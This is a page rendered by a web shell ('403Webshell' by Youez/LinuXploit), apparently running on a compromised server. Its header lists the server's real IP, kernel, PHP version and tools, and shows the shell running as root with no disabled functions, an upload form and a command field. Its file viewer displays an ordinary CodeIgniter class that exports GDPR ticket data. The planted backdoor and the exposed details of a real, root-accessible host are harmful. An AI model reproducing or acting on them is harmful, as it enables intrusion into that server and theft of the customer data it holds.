403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/wit-crm/application/libraries/gdpr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/wit-crm/application/libraries/gdpr/Gdpr_tickets.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

class Gdpr_tickets
{
    private $ci;

    public function __construct()
    {
        $this->ci = &get_instance();
    }

    public function export($contact_id)
    {
        $this->ci->load->model('tickets_model');

        $this->ci->db->where('contactid', $contact_id);
        $tickets = $this->ci->db->get(db_prefix().'tickets')->result_array();

        $this->ci->db->where('show_on_client_portal', 1);
        $this->ci->db->where('fieldto', 'tickets');
        $this->ci->db->order_by('field_order', 'asc');
        $custom_fields = $this->ci->db->get(db_prefix().'customfields')->result_array();

        foreach ($tickets as $ticketKey => $ticket) {
            $this->ci->db->where('ticketid', $ticket['ticketid']);
            $tickets[$ticketKey]['replies'] = $this->ci->db->get(db_prefix().'ticket_replies')->result_array();

            $this->ci->db->where('departmentid', $ticket['department']);
            $dept = $this->ci->db->get(db_prefix().'departments')->row();

            if ($dept) {
                $tickets[$ticketKey]['department_name'] = $dept->name;
            }

            $this->ci->db->where('priorityid', $ticket['priority']);
            $priority = $this->ci->db->get(db_prefix().'tickets_priorities')->row();
            if ($priority) {
                $tickets[$ticketKey]['priority_name'] = $priority->name;
            }

            $this->ci->db->where('ticketstatusid', $ticket['status']);
            $status = $this->ci->db->get(db_prefix().'tickets_status')->row();
            if ($status) {
                $tickets[$ticketKey]['status_name'] = $status->name;
            }

            $this->ci->db->where('serviceid', $ticket['service']);
            $service = $this->ci->db->get(db_prefix().'services')->row();
            if ($service) {
                $tickets[$ticketKey]['service_name'] = $service->name;
            }

            $tickets[$ticketKey]['additional_fields'] = [];
            foreach ($custom_fields as $cf) {
                $tickets[$ticketKey]['additional_fields'][] = [
                    'name'  => $cf['name'],
                    'value' => get_custom_field_value($ticket['ticketid'], $cf['id'], 'tickets'),
                ];
            }
        }

        return $tickets;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit